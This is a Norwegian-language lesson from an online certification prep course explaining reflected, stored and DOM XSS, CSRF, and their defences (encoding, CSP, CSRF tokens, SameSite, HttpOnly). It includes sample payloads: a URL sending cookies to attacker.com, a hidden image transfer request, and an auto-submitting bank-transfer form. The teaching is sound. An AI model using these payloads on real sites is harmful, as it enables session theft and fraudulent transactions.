Cross-Site Scripting (XSS) og CSRF
Forstå reflektert, lagret og DOM-basert XSS, samt cross-site request forgery-angrep, og nettleserforsvaret som blokkerer dem.
Cross-Site Scripting (XSS) og CSRF er en gratis leksjon i Cloud & IT Cert Prep på CoddyKit. Dette er leksjon 2 av 4. Du kan lese hele leksjonen gratis nedenfor – og deretter øve praktisk i nettleseren med en innebygd kodeeditor og en AI-veileder som er tilgjengelig døgnet rundt. Den er en del av læringsløpet i Cloud & IT Cert Prep, og fremdriften din synkroniseres mellom nettet og CoddyKit-appen. Kurset i Cloud & IT Cert Prep inneholder totalt 4 leksjoner.
Hva er Cross-Site Scripting?
Cross-Site Scripting (XSS) er en injeksjonssårbarhet på klientsiden der en angriper setter inn skadelige skript i nettsider som vises til andre brukere. I motsetning til SQL-injeksjon, som retter seg mot serveren, retter XSS seg mot offerets nettleser. Når nettleseren gjengir angriperens skript, kjører det med samme privilegier som legitime skript på siden – noe som muliggjør kapring av økter, tyveri av påloggingsinformasjon og levering av skadevare.
Reflektert XSS forklart
Reflektert XSS oppstår når et skadelig skript er innebygd i en URL, og serveren umiddelbart «reflekterer» det tilbake i HTTP-svaret uten riktig koding. Offeret lures (ofte via en phishing-lenke) til å klikke på den utformede URL-en, slik at nettleseren kjører angriperens skript. Reflektert XSS er ikke-persistent – det kjører bare når offeret klikker på den skadelige lenken.
# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>Lagret XSS og DOM-basert XSS
Lagret (persistent) XSS bygger inn et skadelig skript i applikasjonens database – for eksempel i en kommentar eller et foruminnlegg. Skriptet kjøres i nettleseren til hver bruker som ser dette innholdet, noe som gjør lagret XSS langt farligere enn reflektert XSS. DOM-basert XSS oppstår utelukkende i nettleseren når JavaScript på klientsiden leser angriperkontrollerte data fra DOM-en (for eksempel URL-fragmentet) og skriver dem usikkert tilbake til siden.
XSS-forsvar: Koding og CSP
Det viktigste forsvaret mot XSS er koding av utdata: konverter spesialtegn til tilsvarende HTML-entiteter (<, >, &) før de gjengis i nettleseren. En Content Security Policy (CSP)-header begrenser hvilke skript som kan kjøre, og gir et viktig sekundært forsvar. Validering av inndata (tillatelseslister) bør også brukes på serversiden.
# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'
# Blocks inline scripts and restricts external script sourcesHva er Cross-Site Request Forgery?
Cross-Site Request Forgery (CSRF) utnytter tilliten et nettsted har til nettleseren til en autentisert bruker. En angriper lurer offerets nettleser til å sende en uønsket autentisert forespørsel til et nettsted der offeret er logget inn. Fordi nettleseren automatisk legger ved øktinformasjonskapsler, tror målserveren at forespørselen er legitim. Vanlige CSRF-angrep overfører penger, endrer e-postadresser eller endrer kontoinnstillinger.
Slik fungerer et CSRF-angrep
Se for Dem at en bruker er logget inn i nettbanken sin på bank.com. En angriper sender en e-post med en skjult bildetag: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. Når e-posten åpnes, laster nettleseren automatisk inn bilde-URL-en – og sender overføringsforespørselen med offerets øktinformasjonskapsel for banken vedlagt. Banken behandler den som en legitim forespørsel.
<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
<input type='hidden' name='to' value='attacker_account' />
<input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>CSRF-forsvar: token og SameSite
Det mest effektive CSRF-forsvaret er et CSRF-token – en unik, uforutsigbar verdi som bygges inn i hvert skjema og verifiseres på serversiden. Siden angriperen ikke kan lese tokenet fra en annen opprinnelse (same-origin-policy), mangler forfalskede forespørsler et gyldig token og blir avvist. Attributtet SameSite for informasjonskapsler (SameSite=Strict eller Lax) hindrer også nettlesere i å sende informasjonskapsler i forespørsler på tvers av nettsteder.
# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />XSS vs. CSRF: Viktige forskjeller
XSS og CSRF forveksles ofte, men retter seg mot ulike mål. XSS injiserer et skadelig skript som kjører i offerets nettleser – og utnytter brukerens tillit til nettstedet. CSRF forfalsker forespørsler fra offerets nettleser til et pålitelig nettsted – og utnytter nettstedets tillit til brukerens nettleser. XSS kan brukes til å stjele CSRF-tokener, slik at de to sårbarhetene effektivt kan lenkes sammen.
HttpOnly- og Secure-flagg for informasjonskapsler
Flagg for informasjonskapsler gir viktige tiltak mot XSS. Flagget HttpOnly hindrer JavaScript i å få tilgang til informasjonskapselen via document.cookie, noe som gjør tyveri av øktokener vanskeligere selv om XSS er til stede. Flagget Secure sikrer at informasjonskapsler bare overføres via HTTPS, og hindrer avlytting på ukrypterte kanaler. Begge flaggene bør settes på alle øktinformasjonskapsler som et tiltak for forsvar i dybden.
Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600Testing av XSS-sårbarheter
Sikkerhetstestere identifiserer XSS ved å injisere testdata i alle inndatafelt, URL-parametere, HTTP-headere og JSON-felt. Et enkelt testuttrykk er <script>alert(1)</script> – hvis det vises en dialogboks, er XSS bekreftet. Verktøy som Burp Suite automatiserer XSS-skanning, og OWASP ZAP tilbyr gratis aktiv skanning. DOM-basert XSS krever analyse av JavaScript på klientsiden i stedet for inspeksjon av serversvaret.
Reell påvirkning fra XSS
XSS-angrep har forårsaket betydelig skade i den virkelige verden. Samy-ormen (2005) spredte seg på MySpace på 20 timer ved å utnytte lagret XSS til å spre seg selv til over én million profiler. XSS-angrep kan stjele øktokener for å kapre kontoer fullstendig, omdirigere brukere til phishing-nettsteder, levere nettleserutnyttelser (drive-by-nedlastinger) og endre sideinnhold slik at utvalgte brukere får se falsk informasjon.
Kort kontroll
Test forståelsen Deres av CompTIA Security+-konsepter (SY0-701) fra denne leksjonen.
Oppsummering av leksjonen
I denne leksjonen har De lært at XSS injiserer skript i sider som vises til andre brukere, at CSRF lurer autentiserte nettlesere til å sende forfalskede forespørsler, og at koding av utdata, CSP, CSRF-tokener og SameSite-attributtet for informasjonskapsler er de viktigste forsvarstiltakene. Neste tema er ødelagt autentisering og usikker deserialisering.
Lær deg Cloud & IT Cert Prep med en AI-veileder – gratis
Skriv og kjør ekte kode i nettleseren, få umiddelbar hjelp fra en AI-veileder som er tilgjengelig døgnet rundt, og fortsett der du slapp – på nettet eller i appen.
- Kurs
- 150
- Leksjoner
- 600
Ofte stilte spørsmål
Er leksjonen «Cross-Site Scripting (XSS) og CSRF» gratis?
Ja – hele teksten i «Cross-Site Scripting (XSS) og CSRF» er gratis å lese her på nettet. For å øve interaktivt med en innebygd kodeeditor og en AI-veileder som er tilgjengelig døgnet rundt, og for å låse opp resten av Cloud & IT Cert Prep-kurset, kan du oppgradere til CoddyKit PRO. Kurset i Cloud & IT Cert Prep inneholder totalt 4 leksjoner.
Hva lærer jeg i «Cross-Site Scripting (XSS) og CSRF»?
Forstå reflektert, lagret og DOM-basert XSS, samt cross-site request forgery-angrep, og nettleserforsvaret som blokkerer dem. Du øver på Cloud & IT Cert Prep med praktisk kode som du kjører direkte i nettleseren, mens en AI-veileder som er tilgjengelig døgnet rundt, svarer på spørsmålene dine mens du jobber deg gjennom leksjonen.
Trenger jeg erfaring for å begynne med Cloud & IT Cert Prep?
Ingen tidligere erfaring er nødvendig. Cloud & IT Cert Prep på CoddyKit er lagt opp for både nybegynnere og viderekomne, så De kan begynne her eller helt fra start og lære i Deres eget tempo. Dette er leksjon 2 av 4.
Hvor lang tid tar leksjonen «Cross-Site Scripting (XSS) og CSRF»?
De fleste CoddyKit-leksjoner tar omtrent 5–10 minutter. Hver leksjon er kort og interaktiv, slik at De gjør jevne fremskritt og kan fortsette akkurat der De slapp – både på nettet og i appen.
Kan jeg skrive og kjøre kode i denne Cloud & IT Cert Prep-leksjonen?
Ja. Alle Cloud & IT Cert Prep-leksjoner har en innebygd kodeeditor, slik at De kan skrive og kjøre ekte kode direkte i nettleseren og få umiddelbar tilbakemelding fra AI – uten lokal konfigurering.
Alle leksjonene i dette kurset
- SQL-injeksjon og kommandoinjeksjon
- Cross-Site Scripting (XSS) og CSRF
- Brutt autentisering og usikker deserialisering
- Sikker SDLC samt SAST- og DAST-verktøy